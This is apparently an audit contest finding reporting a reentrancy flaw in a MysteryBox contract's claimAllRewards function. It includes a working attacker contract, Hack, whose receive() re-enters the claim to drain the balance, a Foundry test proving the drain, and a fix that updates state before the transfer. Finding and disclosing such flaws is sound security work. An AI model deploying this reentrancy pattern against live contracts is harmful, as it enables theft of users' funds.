Submission Details
Severity:
Reentrancy attack in MysterBox :: claimAllRewards allows enntrant to drain the contract Balance.
Summary :
The MysteryBox :: claimAllRewards function does not follow CEI/FREI-PI and as a result, enables participants to drain the contract balance.
Vulnerability Details :
In the MysterBox :: claimAllRewards function, we first make an external call to the msg.sender address, and only after making that external call, we update the array in the mapping.
function claimAllRewards() public {
uint256 totalValue = 0;
for (uint256 i = 0; i < rewardsOwned[msg.sender].length; i++) {
totalValue += rewardsOwned[msg.sender][i].value;
}
require(totalValue > 0, "No rewards to claim");
(bool success, ) = payable(msg.sender).call{value: totalValue}("");
require(success, "Transfer failed");
delete rewardsOwned[msg.sender];
}
Impact :
All fees paid to buy the boxes could be stolen by a malicious buyer.
Proof of Concept :
** First of all i created a mockOpenBox function that follow the same logic as the the openBox function in the mysteryContract so i can always in order to claim a reward **
function mockOpenBox(uint256 _randomValue) public {
require(boxesOwned[msg.sender] > 0, "No boxes to open");
uint256 randomValue = _randomValue % 100; // Mock value
if (randomValue < 75) {
rewardsOwned[msg.sender].push(Reward("Coal", 0 ether));
} else if (randomValue < 95) {
rewardsOwned[msg.sender].push(Reward("Bronze Coin", 0.1 ether));
} else if (randomValue < 99) {
rewardsOwned[msg.sender].push(Reward("Silver Coin", 0.5 ether));
} else {
rewardsOwned[msg.sender].push(Reward("Gold Coin", 1 ether));
}
boxesOwned[msg.sender] -= 1;
}
then i created a attacker contract :
contract Hack {
MysteryBox public mysterybox;
constructor(MysteryBox _mysterybox) {
mysterybox = _mysterybox;
}
function attack() public {
mysterybox.buyBox{value: 0.1 ether}();
mysterybox.mockOpenBox(90);
mysterybox.claimAllRewards();
}
receive() external payable {
if (address(mysterybox).balance > 0) {
mysterybox.claimAllRewards();
}
}
}
and then the test that shows to the reenntrancy attack that drain all the fees from the contract:
function testReentrancyOnClaimAllRewards() public {
address attacker = makeAddr("attacker");
vm.deal(address(hack), 2 ether);
vm.deal(attacker, 1 ether);
vm.startPrank(attacker);
hack.attack();
vm.stopPrank();
assertEq(address(mysteryBox).balance, 0);
}
Recommendations :
**To fix this, we should have MysteryBox:: claimAllRewards update the array of the mapping before making the external call. **
function claimAllRewards() public {
uint256 totalValue = 0;
for (uint256 i = 0; i < rewardsOwned[msg.sender].length; i++) {
totalValue += rewardsOwned[msg.sender][i].value;
}
require(totalValue > 0, "No rewards to claim");
delete rewardsOwned[msg.sender];
(bool success, ) = payable(msg.sender).call{value: totalValue}("");
require(success, "Transfer failed");
}
Updates
Appeal created
inallhonesty about 1 year ago
Submission Judgement Published Assigned finding tags:
`claimAllRewards` reentrancy
Rewards breakdown
nSLOC
86This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.